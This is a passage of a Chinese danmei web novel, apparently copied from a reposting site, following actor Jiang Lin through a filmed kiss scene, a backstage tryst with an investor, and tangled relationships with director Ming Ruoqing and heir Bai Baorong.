这也是之后电影播出,很多观众的疑问,然后引起激烈地讨论,每次这个问题一出现都会引起腥风血雨的讨论。 有讨论度,才有热度。 辛珂是一个厉害的作者。 /// “好,两位老师休息一下,准备第六十场戏。”辛珂第一次主导一部电影,一直在摸索的过程中,但她总觉得江林和叶轶之前有些不太对劲,都比较端着,虽然两位主演都在尽力展现自己的角色性格。 但气氛不融洽,也就是俗称的cp感,像两个直男在拍男同,一点暧昧拉扯的眼神都没有。 第六十场戏是两人第一个吻戏,陆宸因为公司上市失败,挫败喝酒,陆沉持怕他出意外,现身照顾他,主动送他回家。 没想到被这个自小当作弟弟看待的男生亲了,还收到了来自陆宸醉酒后的表白。 江林表现得还比较淡定,叶轶知道今天要拍吻戏,一晚上没睡着,整个人仿佛热锅上的蚂蚁,很久没有这种焦头烂额的感觉了。 “叶老板请咱们喝奶茶啦。”场务趁着休息,拿着喇叭喊了一声,众人见怪不怪,叶老板就是叶成哲是这部电影的投资人,好像很看重这部电影,开拍一星期一半时间剧组的人都有奶茶喝。 叶成哲这次亲自来监工,辛珂虽然心里烦躁他碍事,面上却堆满了笑,没办法叶成哲是金主,而且之后电影上映少不得叶成哲的帮忙。 “叶主编怎么有空来了?”辛珂给他挪了板凳,叶成哲顺势坐下,看着监视器下的画面,笑眼弯弯。 “来看看江遂表现得怎么样?没有给你添麻烦吧。” 辛珂直摇头:“江老师很敬业的,演技也很好。” 因为辛珂年轻,剧组氛围比较轻松,同行的都是一些有潜力的新人,虽然是新人但干劲十足,精益求精的精神不比经验丰富的老人差。 说实话,叶成哲一开始是看不起辛珂班底的,直到今天来到现场,看到整个剧组的工作效率和氛围才放下心来。 他拿起旁边的剧本翻了翻,“今天拍哪场戏?” “第六十场。”辛珂也打开一杯热咖啡,热了热手,低声和旁边的道具组说:“你把地上的碎片收拾一下,小心一点” 叶成哲翻到六十场,旁边赫然有被标红的两个字,吻戏。 他眼神一闪,抬眼看向江林,江林正在低头拧着眉看剧本,叶轶也是很忙的样子,两人中间像是隔着一条鸿沟。 叶成哲原本只是来瞧瞧江林就走的,这下屁股在椅子上坐稳了,今天倒是想看看江林的演技到底怎么样。 辛珂见他不走,只以为他想考察一下剧组的进度和能力,毕竟是大老板之一,只要不胡乱提要求,她就谢天谢地了。 “两位老师准备一下。”辛珂的声音落下,摄像机就位,闲杂人等全部离开,小庄抱着江林的羽绒服离开,镜头中只剩下江林和叶轶两人。 江林脸颊上泛着红,脖子上也被化妆师画上了一点腮红,他桌前是空荡荡的酒瓶子,醉眼蒙眬地躺靠在沙发上,从镜头侧面一扫而过的画面,江林高高的鼻梁上架着眼睛,侧脸禁欲立体,嘴唇薄而湿红微微张着 极致的清冷和浓烈的欲气在这张脸上一瞬间完美融合。 叶轶在心中默念了三百遍我是个好演员。 他穿着一身黑色皮夹克,居高临下地看着那个曾经趴在他怀里睡觉的小孩,成长成了陌生的男人,眼神忽明忽暗,泛着复杂的光。 “陆宸?”叶轶自己的声音低沉,收音有些嘈杂。 陆宸毫无反应,双眼睁开一条缝隙,冷白的肌肤晕染着一层粉色。 陆沉持紧拧着眉头,明明只是三岁的年龄差,但两人的气质和样貌都有极大的区别,陆宸那张脸嫩得像个高中生,而陆沉持脸上的沉稳和冷漠,都让他的年纪仿佛三十岁的成熟男性。 “醒醒,陆宸。”陆沉持用大手拍了拍他的脸颊。 陆宸的眼镜都歪了歪,抓住陆沉持的手腕,视线迟钝地落在陆沉持脸上,唇角一弯:“哥,是你啊。” 陆沉持默不作声,现在听见这声哥,心脏都会紧缩一瞬,午夜梦回,这个声音如鬼魅般缠着他,沁出一身冷汗。 陆宸抓着他手的力度很大,眼眸很深。 “你喝多了,认错人了。”陆沉持用力抽开自己的手,在这过程中,陆宸摔到他身上,按住他的肩膀,趴在他身上。 “我怎么会认错?”陆宸捧着他的脸,在陆沉持震惊的眼神下,亲了亲他的嘴唇:“我经常会梦到哥哥的。” “!”陆沉持真正的瞳孔地震,下一瞬不待他作出反应,陆宸已经重新吻了上来,轻轻含了含他的唇。 叶成哲的脸色在无声无息下变得有些黑沉,江林的侧脸泛着殷红的颜色,嘴唇很红,在监视下更是显得无比清晰,他在辗转吮着别人的唇。 而镜头下的叶轶脖子上青筋凸起,不管是作为陆沉持和他本人,都是真实的震惊住了,趴在他身上的江林手指冰冷捧着他的脸颊,嘴唇却是热的,呼吸间有淡淡的酒味,舌尖似乎也微微扫过了他的上唇,带来一丝湿润的触感。 叶轶在越来越近的镜头下,刚想按照剧本说的,将人推开。 “卡!”辛珂率先出声。 江林立刻停下,睁开清明的双眼,撑着手臂从他身上离开。叶轶脑门都热了,后背全是汗,嘴角恍惚间还有柔软的触感,视线瞟向江林,他一脸的平淡冷静,似习以为常。 “再来一次,江老师是荧幕初吻吗?”辛珂扬声问。 “是的。”江林抬眼,这才瞧见她身边叉着手臂坐着的叶成哲,正直勾勾地看着自己,眼底没什么情绪。 “表现得很好噢,叶老师你注意一下镜头,反应迅速一点,不要等。”辛珂走出来,指了指刚刚两人拥抱的位置,交代道,“就是这个位置,不要缩进去了,光线太暗,拍不到脸。” 剧情重演,这次陆沉持拽着他的手臂要将人推开,但下一瞬,陆宸反手利用巧劲化解了他的动作,更深地吻住他的唇。 陆沉持头皮发麻,嘴唇被撕咬着,感受着尖锐的疼痛,脸色煞白 吻戏拍了二十多遍,叶轶从一开始的敏感和警惕,到后面的熟练和麻木,两人把对方嘴唇的纹路都快描绘得清清楚楚了。 辛珂才勉强让他们过了这条,彼时两人对视一眼,纷纷松了一口气。 “辛苦你了。”叶轶长叹一声,拍了拍江林的肩膀,两人之间那点冻结的冰消散不少。 江林促狭一笑:“我没事,叶老师好像更难受些,第一次和男人接吻吗?” 叶轶抹了抹额头的汗:“我没事和男人接什么吻” 这话一说完,叶轶便察觉到一些不对劲,看向江林,便见他露出一点玩味的神情。 “我没有歧视同性恋的意思,就是咋说呢,我自己不搞基而已。” “没事,我理解。”江林点了点头,笑着说道。 “两位老师可以休息一下,辛苦了,晚上还有一场夜戏要拍。晓燕,你带小陆宸和小沉持来吧。”辛珂说完,江林裹着羽绒服去了厕所,憋得够呛。 叶轶回了化妆室,让助理去买饭。 他和江林有两个单独的化妆室。 江林从厕所出来,便看见守株待兔的叶成哲,他视线在江林唇上停留了很久,直到江林走到他跟前,叶成哲和他去了化妆室。 “你在外面守着,别让人进来。”叶成哲落后一步交代小庄。 小庄欲言又止,见江林没反驳,才乖乖站住,成为哨兵 “身上一股酒味”叶成哲的声音有些含糊暧昧,吮着江林的唇,双眼痴迷地看着他,那戴着眼镜的模样看得人心潮澎湃。 “你可以戴着眼镜玩我吗?” 下一秒,江林就把眼镜摘了,扔化妆桌上。 叶成哲一顿,凑到他唇角亲了亲,手往下滑,低声道:“难受吧,亲了这么久” 江林垂眼看着他,头发偏分着,用发胶固定着,像个精明禁欲的少爷,脸上冷淡的表情就足够叶成哲疯狂的,他没有阻止叶成哲的动作。 他刚刚和叶轶拍了快一小时,身上的确有些隐隐发烫。 叶成哲给江林手心塞了一个四四方方塑料包装的东西,江林没拿,叶成哲就自己撕开,给他安置好 “唉?小庄,你有没有看见我们家叶哥啊,他有来找江老师吗?”叶轶的助理小优端着保温桶,脸上有些忧色。 小庄守在紧闭的门口,紧张地舔了舔唇:“我没看见啊,江哥和叶主编在里面谈事情,没看见叶老师噢。” “好吧。”小优提着保温桶去片场找人 “你们这种吻戏有多少?不会还有嗯床戏吧?”叶成哲抱着江林的脖子,紧紧盯着江林微微蹙眉后显得更加性感的脸。两人的衣衫都还算完整,只是江林的白色衬衣被解开几颗扣子,露出姣好的身材,他的手放在肌肤上舍不得离开。 “闭嘴。”江林懒得和他说话。 叶成哲亲了亲他的额头,“你镜头下和别人亲嘴的样子都好性感,这部电影播出,你不知道要吸引多少心怀不轨的人” 江林手掌捂住他的唇,虎口卡着他的嘴,让他不能再继续说话,神情露出点戏谑的笑:“有你在,谁能觊觎我?你把他们都杀了就好了。” 这话太极端和尖锐不像是江林会说出口的,而是陆宸的感觉。 叶成哲痛苦的呜咽出声。 而在两人身后,那个隐蔽的换衣间内,某个男人脸色青白转红,浑身僵硬地站在原地,不敢暴露一点声音,呼吸都轻了轻,耳边响起的是男人隐忍又性感低吼声 “下次别来了。”江林从烟盒中抽出一根烟,含在嘴中,静静看着自己清理的叶成哲。 “为什么?”叶成哲有些不满,“我并没有妨碍你的工作。” “我拍完戏会去找你。”江林重新戴上眼镜,靠在椅子上,手搭在扶手,手背青色隆起的血管清晰可见。 “你来找我?只怕你根本记不起我是谁了吧。”叶成哲轻笑一声,玩味道。 “你是我的大老板,我怎么敢忘记。”江林吐出一口烟,眼尾发红,身上还有一丝醇厚的酒味,在拍这场戏的时候,他真的喝了酒。 否则也不会这么不清醒和叶成哲在片场乱搞。 叶成哲不置可否,也没答应。他低头在他唇角又亲了一下,就着江林的烟吸了一口,顺势舔了舔他的手指,才直起身,“行,我先走了,你好好拍戏,任何问题都可以给我打电话。” “嗯。”江林冷淡应了一句。 叶成哲离开了,江林没有继续抽那根被叶成哲含过的烟,揉了揉眉心,眉宇间浮现一点疲惫,顿了几分钟小庄才走进来,手上端着盒饭,嘀咕道:“叶主编走啦?” “刚刚小优让我问您,有没有看见叶老师,他好像不见了。” 江林视线一瞥,才发现旁边的化妆桌上放着陌生的手机,他眉梢微微一挑,将拿起的筷子又轻轻放下。 “你先出去帮着他找一找吧,大活人总不能凭空消失吧。” 小庄点点头,然后出门帮忙。 江林转头看向那扇紧闭的更衣室小门,嘴里重新叼上一根烟,脚步很轻地朝着那边走去。 叶轶在黑暗中心跳得很快,他在娱乐圈这么久,第一次遇见这种场面啊,一开始他只是进来换衣服,根本来不及出去,外面便传来暧昧的声音。 他骑虎难下,只能躲着。 门突然被打开,叶轶瞳孔微缩,逆着光他瞧见站在门口的高挑男生。 江林见他真的躲在更衣室,挑了挑眉,没有秘密被发现的恼羞成怒,嗓音沙哑:“叶老师,听人墙角好像有点不太厚道吧?” 叶轶脸色难看,对江林的印象一变再变,起初只以为是一个背靠桃利的演员,拍戏的时候觉着这个演员年纪小,但敬业可靠。 刚刚又刷新了他的三观,这哪里是没有背景老师本分的小演员啊,叶成哲他妈的也敢搞啊。 那可是一条能毒死人的蛇。 眼前的男生依旧松松垮垮散着衣襟,放荡不羁,头发因为刚刚的行为有些散乱,原本的背头散下几缕发丝,眉宇间尽是冷冽和痞气。 那一瞬间,叶轶感觉到江林和陆宸身上相似的感觉。 叶轶也不是什么愣头小子,简短地惊愕后稳住造型,语气调侃:“我也没想到你和叶成哲是这种关系,我哪好意思打扰你们?” 江林视线往下微微一移,意味不明地哼笑一声:“我记得叶老师说过,自己不搞基?” “”叶轶微微后退两步。 /// 明若卿外公七十大寿,在老宅低调进行,虽说低调,但依旧门庭若市,前段时间老爷子返聘回岗,闹出明清的事情给杨老爷子气得够呛。 这次来宾从商界到政界许多有头有脸的人物,给足了杨正以面子。 夜里,明若卿和明若童两兄弟跪在堂厅里,灯火通明,人人寒噤,不敢劝阻。 明若童哭着去抱杨正以的腿,哭爹喊娘地说道:“外公,您别生气,呜呜,我哥开玩笑的,他不是故意的,您原谅他这一次好不好?” 明若卿跪的笔直,一言不发,沉默以对。 杨正以中气十足地指着他的鼻子骂:“我这么重要的日子,你就敢忤逆我,谁给你的胆子,平时还是我对你疏于管教了!” 事情起因是杨老爷子给明若卿张罗了一门婚事,对方是顶顶好的世家小姐,家里有权有势,家中只有这么一个女儿,明若卿娶了她如虎添翼,日后也算有个家。 但明若卿却一口回绝,让女孩儿的父母都拉下脸来,差点当场闹起来。 明若卿依旧不说话,跪得笔直,脸上有杨正以怒急之下打的巴掌印还未消。 “你都快三十了,明若卿你到底想干什么?一辈子绝种吗?人家白小姐不嫌弃你是个不务正业的混账,你哪里来的脸嫌弃?!” 在他们这些人眼中,在娱乐圈当导演就是不务正业。 “别以为我不知道,你和一个戏子不清不楚的!”杨正以瞪着他,手中棍子直接抽在明若卿背上。 明若童连忙抱住他的腿,哭嚎着:“别打了,您别打了,哥哥知道错了” 明若卿忍着疼,冷峻不屈,身躯微颤,棍子都抽断了才作罢。 “我告诉你明若卿,如果不是我只有你们两个混账血亲,你以为我想管你们姓明的?”杨正以老当益壮,思维清晰,当了一辈子的上位者,知道怎么拿捏人的痛楚:“即然你想当一个情种,那就放弃你一直以来追求的梦想,给我滚回来按照我给你安排的路走下去” “否则,那姓江的小子被封杀是迟早的事情。” 事关江林,明若卿终于有了反应,黑眸冷灼,“您别伤害无辜的人。” “你自己选。”杨正以踢开脚边的明若童,居高临下地看着明若卿,表情几乎冷酷:“你跪在这里想清楚,明早给我答复。” 等外公离开,明若童想把明若卿扶起来,但明若卿却跪着一动不动,他带着哭腔的骂道:“哥,你是不是疯了,那个江遂到底有什么好的?你值得这样吗?” “不关他的事儿。”明若卿眉头因为痛楚微微拧紧,第一时间反驳了明若童牵连江林的说法。 “那你为什么不娶白小姐?他们家和我们家门当户对,两家联姻只有好处你现在为了一个男人放弃唾手可得的权力,哥哥,你怎么这么糊涂啊。”明若童虽然混,但大事上还是拎得清的,如果不是白家小姐看不上他,他早觍着脸追上去了。 明若卿也觉得自己大概是疯了,浑身都像是结了冰似的凉,后背的疼却是火辣辣地烧着,从小权衡利弊的能力都丧失了。 明明知道那人甚至对自己毫无感情,却还要义无反顾地坚守那些没有意义的东西。 他只知道如果真的结了婚,那么江林只怕要对他拒之千里了,以后怕是看他一眼都觉得恶心吧。 “别说了,不是为了他,而是不想这么不明不白耽误长柔。”明若卿睁开明若童的手。长柔就是白长柔,也是小时候明若卿一起长大的玩伴,最近才回国,两家老人想撮合他们两。 明若童气得发抖,狠狠瞪了执迷不悟的哥哥,怒气冲冲地冲进了黑夜里 江林刚下夜戏,准备卸妆洗澡,便听见房门被敲得震天响,从猫眼看去,是面含怒容的明若童。 江林看在他哥的面子上打开了门。 明若童一拳朝着他打过来,江林迅速一躲,顺势伸出脚,直接把人绊倒了。 明若童这个废物哎呦一声摔在地上,翻身就要站起来继续和江林对线。 那三脚猫功夫,直接被江林揍哭了。 江林坐在椅子上,扔了一包纸到明若童腿边,“神经,找我干什么?” 明若童一边哭,一边骂江林是个坏男人,没有心,然后断断续续把今天发生的事情告诉了江林。 江林一直都知道明若卿不可能当一辈子的导演,在原剧情中他娶妻生子,三十岁宣布退出娱乐圈,随后平步青云、官运亨通。 “行了,我知道了。”江林提着他的肩膀,就要把人扔出去。 明若童扒拉着他的胳膊,再不似刚刚的嚣张,委委屈屈地说道:“你能不能劝他不要喜欢你了,让我哥结婚吧,求你了不然外公会打死他的” “好好好,我保证好好劝劝他,让他重归正途。”江林敷衍地把人扔出房门。 /// 明若卿刚坐上车,便接到了江林的电话,他像是刚睡醒,语气黏黏糊糊的。他说:“明叔,我昨晚梦到你了,好想你啊,你今天能来找我吗?” 明若卿没说话,表情有些僵硬,似乎暂时不知道怎么应对江林。 江林那边似乎清醒了些,轻哼一声:“你不会再生我的气吧,不要生气好不好?真的想你了” 明若卿挨不住他的软语求饶,硬邦邦地说道:“好。” “你现在过来,我下午的戏。”江林便得寸进尺,步步紧逼。 “我等下”明若卿想去一趟医院。 “现在好不好?我难受好像生病了。”江林自言自语似地说着:“脑袋也晕” “你在哪?”明若卿住了嘴,猜到江林应该知道了什么 江林门口的门铃响起,门口站着明若卿脸色有些苍白,身后跟着保镖,目光却冷静坚定如磐石不可移。 “明叔。”江林打开门,伸手勾着明若卿的手臂,将人带入房间,然后砰一声关上门。 明若卿走路有些不自然,但在努力掩盖自己的不适。 “我听明若童说,你受伤了,伤在哪里,我看看”江林眼含关心,紧紧抓着他的手臂,眼神在身上乱扫。 明若卿只是静静地看着他,似乎在辨别他眼中的关心是真是假。 “他昨晚来找你了?”明若卿语气微沉。 “嗯,来教训我了,怪我勾引他哥。”江林露出手背被明若童指甲划伤的红痕,就是指甲盖大小,却被他小题大做地放在明若卿跟前。 明若卿伸手握住他的手背,拧着眉,“我会警告他。” 江林笑了笑,抬手摸了摸他有些红肿的侧脸,轻轻摩挲着:“你真的因为我挨打了?” “不是”明若卿想反驳,下一瞬江林已经凑到他侧脸,细密轻柔的吻落下,他话在喉间滚动了来回,最终又咽了下去,闭了闭眼。 他听见江林在耳畔呢喃沙哑的腔调:“心疼死我了。” 明若卿克制地微微捏紧了拳头。 满是欺骗和虚假的感情中掺杂一丝真情,让人欲罢不能,沉溺其中,无法解脱。 但在真情爱慕中掺杂一丝虚伪,便让人弃之如敝屣。 现在明若卿就为了万千虚假中的一丝真情而心悸动容,舍弃不下。 第90章 外面下着飘雨, 瞧着细雨蒙蒙,在雨中站上片刻,便满脸湿意和潮意。 阴沉的天气, 让没开灯的房间有些低沉潮湿,仿佛回到了那天雨夜, 时间和地点都不一样,明若卿但心情却极为相似。 “明叔”江林在明若卿脸上落下好几个轻吻,极为亲密的动作, 像是在心疼自己的爱人。 而明若卿像是那个为了爱人与全世界为敌的愣头青。 但他早就过了那个不成熟的年纪。 “到底发生了什么?”江林手半钳制着他的下颌,抬起一双心疼的眼看着他, 他主动在明若卿嘴唇上蹭了蹭。 明若卿看着眼前的恨不得将拽入地狱但表面虚伪温柔的小骗子,上次见面,他还在说希望自己不要执着于他。 现在江林是半点不装了。 但这能怪谁? 是他自己上赶着来找江林的。 “不是什么重要的事情。”明若卿心情沉重,却不会和江林说什么。 明若卿现在不得不向外公妥协,但这里面藏着巨大的隐患,会让杨正以知道江林在他心中的分量不轻。 毕竟像明若卿这种人, 性格严肃古板, 认定的事情很少会改变。 可这是没有办法的事情, 他不可能看着江林现在的努力因为上面的一句话被销毁和遏制。 他说不重要,江林就真的不问了, 凑到他唇角吻了吻, 睫毛微微撩起,露出那双黑润的眼,他抱着明若卿, 低声道:“能不能留下来陪我几天。” 明若卿没什么表情地看着他,半晌,他才冷着声问:“你是在因为我的反抗而奖励我吗?” 因为他的反抗取悦到了江林, 所以江林给他奖励,鼓励他继续坚持对他的坚定 他意识到这个可能,脊背上的伤更疼了,浑身更是冒出了点点冷汗。 他觉得最害怕的是,尽管知道江林这种养蛊似的恶劣心思,却还是控制不住想要对他好。 听到明若卿直白的质问,江林也没有任何的慌张,咬唇一笑,“担心你是真的,鼓励你也是真的。” “明叔根本放不下我,我何必再假惺惺地让你离开?” “你倒是坏得坦坦荡荡。”明若卿盯着他的眼睛,主动揽着他的腰,主动和他吻了在一起,一个缠绵悱恻的吻落下。 “啧,怎么伤得这么重。”江林以给他检查身体为由,让明若卿把衣服都脱掉了。 他瞧见他膝盖上青紫充血的伤痕,背部斑驳的痕迹更是触目惊心,可见下手的人丝毫没有犹豫和留手。 明若卿依旧站如松,明明双腿站立都显得非常吃力,表情却冷静,江林从身后抱住他,在他后颈亲了一口:“疼不疼啊?” 明若卿缓慢的垂了眼睫:“不疼。” 江林便低声笑起来,像是在教他恋爱:“明叔,你有没有听过一句话,会哭的孩子才有糖吃。” “你这样像个钢铁巨人似的,我怎么表示我的关心呢?” 明若卿怔了一下,手指微微收紧,抓着他的手腕:“不需要。” 江林下巴放在他肩膀上:“我陪你去医院?” 明若卿还记得他要是拍下午的戏份,“我让医生过来了。” “嗯,你要不要睡觉?”江林说着自己便打了个哈切,嘀嘀咕咕说道:“我昨晚下夜戏,都没睡醒呢,就惦记着给你打电话” 明若卿摸了摸他的脑袋:“睡觉吧。” “你陪我?”江林像个撒娇的小孩儿。 明若卿说:“好。” 江林给明若卿找了自己的睡衣,明若卿背上疼得厉害,布料摩擦也显得极为难受,却硬是一声不吭,疼痛过去,江林身上铺天盖地的香味便席卷而来。 两人裹在一床被子里,江林真的很困,抓着他的手腕,靠在他肩膀上,没几分钟便睡着了,明若卿便侧着身体,黑沉沉的眼珠子直直看着他,让医生在外面等。 江林睡颜安静,高挺的鼻梁,深邃的五官,嘴唇薄而红,睫毛浓黑卷翘,像小扇子似的,又不显得女气,让他浓烈的五官柔和了两分。 脖颈雪白,锁骨分明,丝绸睡衣轻飘飘裹着他的身体,转身间,便能看见他无意中露出沟壑分明的肌肉,微微翘起的小可爱,姣好的身材藏在身下…… 明若卿自嘲地想着他这算不算是百忙之中抽出空来敷衍自己? /// 小庄来叫江林起床,结果发现门口站着不少人面面相觑,他吓得一激灵,试探地敲门,四五个人都望着他不说话,却也不阻止他的动作。 里面传来江林拉长的语调,等了两分钟,睡眼惺忪的江林出现在众人眼前,他瞟了一眼穿着白大褂的医生,歉意地笑了笑:“不好意思啊,久等了。” 医生看着年轻,没什么脾气地笑了笑。 “你去再买一套洗漱用品过来。”江林低声交代小庄,然后转身回到房间,跟身后的人说:“你们进来吧。” 江林刷牙洗脸,明若卿坐在床边,医生在检查他的身体,医生轻声说道:“看着没有伤筋动骨,但保险起见还是去医院拍个片” 明若卿没什么表情地听着,最后点了点头,“好。” 江林默默拿起一根烟,医生正在摆弄明若卿的膝盖,确定骨头没有问题。 明若卿扫了一眼江林,察觉到他欲言又止的神色,便主动道:“你先出去,我等会找你。” 众人懂事地离开,江林烟叼在嘴里,问:“我抽了?” 明若卿颔首,主动伸手拉住他的手腕,眼神深邃黑沉:“你故意招我,便别想再随便扔开。” 江林挑眉,颇为无奈地说道:“我哪里招你了?” 他根本不承认自己任何恶劣的行径。 “你不找我,今早为什么给我电话?”明若卿问。 “被你弟逼得不行吗?”江林点燃了烟,轻轻吸了一口,眯了眯眼,漫不经心又戏谑玩笑地将烟大逆不道地轻吐在明若卿脸上。 明若卿微微眯眼,烟雾缭绕间看不清江林的五官,从前从未见过江林这样,在他面前他都是恭敬有余,很少主动暴露自己的本性。 “明若童他都能逼你,那我是不是更能逼迫你了?”他攥紧了江林的手腕。 江林微微弯腰,盯着他的眼睛笑:“你想逼我什么?” “逼你”明若卿语气停顿一瞬,似乎在思考。 最终没了下文。 他做不出那种强迫人的事儿。 特别是江林还是他看重的人。 江林见他这样,咬着烟闷笑,抱着他,脸颊轻蹭他的:“你真的是最心软的人了,明叔。” 这问话但凡放在白宝容和叶成哲身上,不和他蹬鼻子上脸提一堆要求才怪。 明若卿轻轻揽着他的背,语气变得平静:“准备一下,你该去拍戏了。” “嗯,那你呢?”江林低声问。 “我去一趟医院,很快回来。” 明若童被他哥骂了一顿,明令禁止他再来找江林。他在知道明若卿从家中出来就去找江林后,气得心肝脾肺都疼,又借酒消愁。 第一次觉得他比他哥要理智成熟。 喝醉酒的明若童又管不住自己的嘴,一个电话给了白宝戎,给他一顿囫囵吞枣地吐槽,又神志不清地谩骂白宝戎塞了个祸害给他哥,嘀咕着以后一定要找白宝戎麻烦,又让白宝戎还他正常的哥哥。 江林在拍戏,电话不断震动,小庄拿着手机焦头烂额,却又不敢暴露出来影响江林的情绪。 白宝戎的电话像是催命般,一个接着一个,锲而不舍地拨了二十多个。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 “陆宸!你他妈耍我呢, 你结婚了?!”陆沉持脸上带着惊愕之色,那双狭长的凤眼都微微睁大。 陆宸轻轻抓着他的手腕,试图解释:“我这是有原因的” 陆沉持却根本理智不了, 他才说服自己要对陆宸好点儿,却得到了狠狠的一巴掌, 红底的结婚证都在,还需要解释? “你既然结婚了就不应该和我说那些操蛋的话!”陆沉持甩开他的手腕,转身就走, 陆宸想追,但被人拦住。 陆宸微微蹙眉看着他远去的背影, 露出一点无奈的神情。 陆宸在影影绰绰的灯光下,垂着眉眼,唇角轻抿,表情在阴影下有些阴沉。 两人的矛盾在晚上八点产生吵架,在晚上十点结束前,陆沉持自己回到了陆宸的别墅, 陆宸还是他离开前的位置坐着, 似乎一直在等他。 两人感觉像是浓烈发酵的酒, 又犹如相互缠绕着藤蔓,彼此之间互相舍弃不下, 矛盾和争吵时常都有, 他们只是小时候生活在一起,之后的成长经历,学识涵养以及眼界思想都不在一个层面。 仿佛截然不同的两块棱角分明的顽石。 陆沉持语气闷声闷气, 拧着眉,硬朗的眉眼皱得很深:“” “”陆宸也静静看着他不开口。 “你不是想说什么?”陆沉持表情不情不愿的,怒气未消。 陆宸却不着急了, 白色衬衣领口微微外翻,游刃有余,面容冷静:“突然不想说了。” “你!”陆沉持越发恼怒了,“你这个小混蛋,自己结婚还要招惹男人,现在还耍起脾气来了?!” 陆宸紧绷着下颌,盯着陆沉持,语气平静:“我的结婚对象现在已经死了。” 陆宸的结婚对象是个身患癌症的病患,而命运多舛,她的母亲也身患重病,她隐瞒着自己的病情让重病的母亲能够如愿看到她成家。 她求助了当时在做义工的陆宸。 陆宸答应和她结婚,了却她母亲的心愿。在她母亲去世后,她的病情突然恶化,没有挨过两个星期就去世了。 她母亲临死前都不知道自己的女儿重病的消息。 陆沉持听到这件事情的来龙去脉,神情有些不自然。 “哥,我们这么多年没见,你就没有过其他人吗?”陆宸眯了眯眼,脸上出现似笑非笑的神情。 “老子在监狱里蹲了七八年,去哪里找人?”陆沉持骂骂咧咧说道。 “监狱里不也有男的吗”陆宸语调很轻。 陆沉持太阳穴一凸凸地炸得疼:“我之前都以为自己喜欢的妞儿。” 陆宸这才像是满意了,勾着他的下颌亲了一口。 /// 《南辕北辙》说的是两个主角性格的南辕北辙,也说的是彼此之间的经历、思想和社会地位。 里面讲到了现下同性恋的一些现状,因为某些男人的恶劣行为,社会中歧视同性恋的不在少数。 就连陆宸原本公司在对家爆出他是同性恋后,股票都下跌不少。 又让陆宸和陆沉持两人在误会和矛盾之间相互磨合,最终成为彼此在这个世界上最亲的人。 “江哥,电话!”小庄举着电话,叫住了刚刚拍完戏的江林,那紧张的神情让江林多瞧了几眼。 江林接过他递过来的水含着吸管喝着温水,看着手机白宝戎二十多个未接来电,回拨了一个。 电话那头的男生没接电话,但江林刚刚挂掉电话,便见他又拨了回来。 “我在你们剧组楼下,你下来。”白宝戎的声音有些发沉。 “我在拍戏,不方便。”江林却不受他指挥,吃着小庄洗好的草莓,语气很懒散。 白宝戎顿了顿,声音变得有些凶狠:“你别逼我闹得太难看了。” 江林挑眉,“你威胁我?” 白宝戎缓缓呼出一口气,才重新开口:“你还需要多久,我今天想见你一面。” 他的情绪似乎有些不对劲。 “等着。”江林只扔下两个字便挂断了电话。 他又紧接着拍了两个小时的戏,在晚饭期间才到地下车库去找白宝戎。 车库很大,声控灯,江林身后跟着小庄,他目光扫视一周,才看见那角落的火星,灯光乍亮,那辆黑色低调的迈巴赫停在死角中。 “你在这儿看着人。”江林嘱咐小庄,抬脚走到白宝戎车前,地上是散落如星子的烟头。 白宝戎的双眼有些发红充血,死死地盯着江林,眉眼间都是戾气和凶狠:“你故意的?” “故意个屁。”江林拉开副驾驶的门坐下,偏头看着他,“我刚刚拍完戏就下来了,总不能让几百号人等着我一个人吧?白大少爷。” 白宝戎不知道信没信,抬脚跨过中控台,坐在江林腿上,急不可耐地吻住江林的唇,江林默默将降下来的车窗往上升起,薄唇被白宝戎含住嘴中舔吻,没有多余的言语,手在江林身上着急的摸着。 江林拽住他的手腕,白宝戎用力挣脱,手探入他衣摆下。 江林拧了下眉,扯住他的头发,用力将人扯离自己,白宝戎喘着粗气,情绪像是被挤压到了极限,现在爆发而出。 “你别发疯白宝戎,你知道这里有多少狗仔吗?你想第二天上头条就继续找干。” 白宝戎咬了咬牙,手放在江林皮带上,视线对上,眼底闪过不甘和憋屈,他吊儿郎当地笑了笑:“那去你房间,去他妈拍不到的地方。” “你在明知故问什么,明叔在我房间,怎么?你要来3/p?”江林松开制裁他的手,看着因为一句话定住的白宝戎,有些不耐烦地说道:“到底什么事情不能在这里说吗?” 白宝戎捏住江林的手臂,双眼瞪着他:“你什么意思江林。” “什么什么意思?”江林不解的看着他。 “我和明若卿你选谁?”白宝戎突然压低了语气,眼神似乎充满了危险,手缓缓收紧了江林的脖子。 江林觉得好笑,勾了勾唇,眼底闪烁着嘲弄:“你发病了吧,白宝戎,我谁都不选。” “那我一定要你选一个呢?”白宝戎的手指警告地按了按他的喉结,两人挨得近,能瞧见对方眼神中的每一丝神情。 车内整个气息都突然变得剑拔弩张,两个锋芒毕露的人突然对上了。 “白少,你别闹了,你订婚的事儿闹得沸沸扬扬,现在到底有什么资格坐在这里质问我呢?我还没嫌你脏呢,能来见你都是给足了你面子,还是看在咱俩之前的情分上”江林这话直戳他的心窝子,他之所以情绪失控绝大多数原因就是这个订婚。 他来找江林,既是因为明若童那个电话,也是想找借口来找江林,想和他做,想平缓自己的情绪,但没想到江林毫不留情地拆穿了他的一切。 “有些话说出来就没意思不是吗?”江林靠在椅子上,脸上表情有些冷淡。 “没关系的”白宝戎虽然有预料到江林的反应,却觉得问题不大,只要给江林更多的好处就没关系 “怎么没关系,我可做不来婚姻中的小三,我虽然道德底线不高,却没有那么低。而且你知道的,我有洁癖,不喜欢自己的东西被别人用。”江林说出这话实属双标,因为他自己屋里现在就藏了人,但是那又怎么样。 “白宝戎咱俩好聚好散。”江林语气更轻了。 白宝戎却顿住,那双眼似乎更红了,瞳孔有些震动,脸颊被江林的手轻轻拂过,他双眼多情:“你找那些愿意当小三的去,反正咱俩也没有好得非彼此不可吧。” 白宝戎莫名地内心一揪,他和江林的交际不算多,却也不少,几乎占据他所有的感情板块。 江林是他生活的例外,他看似纨绔,实则谨小慎微,活得极为认真,他想抓住现在能抓住的东西。 他不想再回到当初落魄如猪狗的日子。 江林是白宝戎黑暗无光的生活的一抹萤光,是他对于现下生活不满的反抗,只有他们两个在一起的时候,他才是白宝戎,不是白总,不是白少,也不是白老爷子唯一的孙子。 白宝戎尽可能想要抓住他。 “你别逼我”白宝戎抱住江林,脸埋在他肩膀,声音都在微微颤抖。 他抱得很紧,让江林都快喘不过气来,他拍了拍白宝戎的肩膀,收起了刚刚的咄咄逼人,语气温和:“你是我走投无路遇见的人,如果不是你,也许没有今天的我算了吧,不论现在还是以后我都只希望你好的。” 